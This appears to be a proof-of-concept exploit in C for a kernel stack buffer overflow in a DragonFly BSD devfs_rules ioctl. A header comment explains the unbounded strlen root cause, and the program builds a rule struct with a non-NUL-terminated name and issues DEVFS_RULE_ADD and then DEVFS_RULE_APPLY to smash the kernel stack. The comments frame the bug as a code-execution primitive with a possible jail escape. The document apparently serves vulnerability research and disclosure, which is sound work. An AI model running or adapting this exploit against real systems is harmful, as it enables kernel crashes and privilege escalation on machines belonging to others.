/*
 * DF-0897 — Stack buffer overflow via non-NUL-terminated name/linkname
 *           in devfs_rules ioctl.
 *
 * Bug: devfs_rules.c:104  len = strlen(templ->name)   -- UNBOUNDED
 *      The struct devfs_rule_ioctl has 3 adjacent char[PATH_MAX] arrays:
 *        mntpoint[1024], name[1024], linkname[1024]  (sys/sys/devfs_rules.h:74-78)
 *      If name[] is not NUL-terminated within PATH_MAX, strlen walks past
 *      name into linkname (and beyond), returning up to ~2072.
 *      kstrdup() copies that many bytes into rule->name.
 *
 *      Later, devfs_rule_checkname() (devfs_rules.c:360) has
 *        char name_buf[PATH_MAX];                  -- 1024-byte stack buffer
 *      and calls devfs_resolve_name_path(rule->name, name_buf, ...)
 *      which does (devfs_core.c:2032-2038):
 *        size_t len = strlen(fullpath) + 1;
 *        memcpy(buf, fullpath, len);               -- ~2072 bytes into 1024
 *
 *      => ~1048-byte stack smash with attacker-controlled bytes.
 *      DragonFly kernel has NO stack canary (-fstack-protector absent),
 *      so this is a code-execution primitive, not just a DoS.
 *
 * Trigger path:  ioctl(/dev/devfs, DEVFS_RULE_ADD, ...)    [oversized name]
 *                ioctl(/dev/devfs, DEVFS_RULE_APPLY, ...)  [triggers smash]
 *
 * Access:  /dev/devfs is 0600 root:wheel — DIRECT trigger is root→kernel.
 *          Jail-escape angle: jailed root (cr_uid=0) can open /dev/devfs
 *          if exposed in the jail's devfs mount.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/syslimits.h>
#include <sys/devfs_rules.h>

int
main(int argc, char **argv)
{
    int fd, rc;
    struct devfs_rule_ioctl *rule;

    fd = open("/dev/devfs", O_RDWR);
    if (fd < 0) {
        perror("open /dev/devfs");
        fprintf(stderr, "(must run as root; device is 0600 root:wheel)\n");
        return 1;
    }

    /*
     * STEP 1: DEVFS_RULE_ADD — create a rule with a non-NUL-terminated name.
     *
     * Fill the entire struct with non-NUL bytes, then set the specific
     * fields. strlen(templ->name) at devfs_rules.c:104 will scan from
     * name[0] through linkname[1023] and the trailing fields until it
     * hits the NUL we plant at the very last byte of the struct.
     *
     * name[0] is at offset 2*sizeof(u_long)+PATH_MAX = 16+1024 = 1040.
     * The last byte of the struct (padding) is at offset sizeof-1 = 3111.
     * strlen(name) = 3111 - 1040 = 2071 bytes (all attacker-controlled).
     */
    rule = (struct devfs_rule_ioctl *)malloc(sizeof(*rule));
    if (!rule) { perror("malloc"); return 1; }

    memset(rule, 'A', sizeof(*rule));          /* everything non-NUL */
    ((char *)rule)[sizeof(*rule) - 1] = '\0';  /* terminate strlen cleanly */

    rule->rule_type = DEVFS_RULE_NAME;   /* 0x01 — triggers name processing */
    rule->rule_cmd  = DEVFS_RULE_PERM;   /* 0x08 — benign permission rule   */
    /* mntpoint: must be NUL-terminated, match /dev mount */
    memcpy(rule->mntpoint, "/dev", 5);   /* includes trailing NUL */
    /* name[0..1023]  = all 'A' (non-NUL)  -- strlen overflows past PATH_MAX */
    /* linkname[0..1023] = all 'A' (non-NUL) */
    /* dev_type/mode/uid/gid/padding = 'A' (non-NUL) until last byte */

    printf("[*] sizeof(struct devfs_rule_ioctl) = %zu\n", sizeof(*rule));
    printf("[*] name starts at offset %zu, linkname at offset %zu\n",
           (size_t)((char *)rule->name - (char *)rule),
           (size_t)((char *)rule->linkname - (char *)rule));
    printf("[*] strlen(name) will scan %zu bytes before hitting NUL at struct end\n",
           sizeof(*rule) - ((char *)rule->name - (char *)rule) - 1);

    printf("[*] Sending DEVFS_RULE_ADD with non-NUL-terminated name...\n");
    rc = ioctl(fd, DEVFS_RULE_ADD, rule);
    printf("[*] DEVFS_RULE_ADD returned %d (errno=%d: %s)\n",
           rc, errno, strerror(errno));
    if (rc != 0) {
        fprintf(stderr, "[!] ADD failed; cannot proceed to APPLY\n");
        close(fd);
        free(rule);
        return 1;
    }

    /*
     * STEP 2: DEVFS_RULE_APPLY — triggers devfs_rule_check_apply →
     * devfs_rule_checkname → devfs_resolve_name_path → memcpy overflow.
     *
     * The apply ioctl's mntpoint is kstrdup'd and matched against mount
     * names. "/dev" matches the devfs mount.
     */
    struct devfs_rule_ioctl apply_cmd;
    memset(&apply_cmd, 0, sizeof(apply_cmd));
    memcpy(apply_cmd.mntpoint, "/dev", 5);

    printf("[*] Sending DEVFS_RULE_APPLY (triggers stack smash)...\n");
    fflush(stdout);
    rc = ioctl(fd, DEVFS_RULE_APPLY, &apply_cmd);
    printf("[*] DEVFS_RULE_APPLY returned %d (errno=%d: %s)\n",
           rc, errno, strerror(errno));
    /* If we reach here, the kernel did NOT crash — investigate why. */

    close(fd);
    free(rule);
    return 0;
}
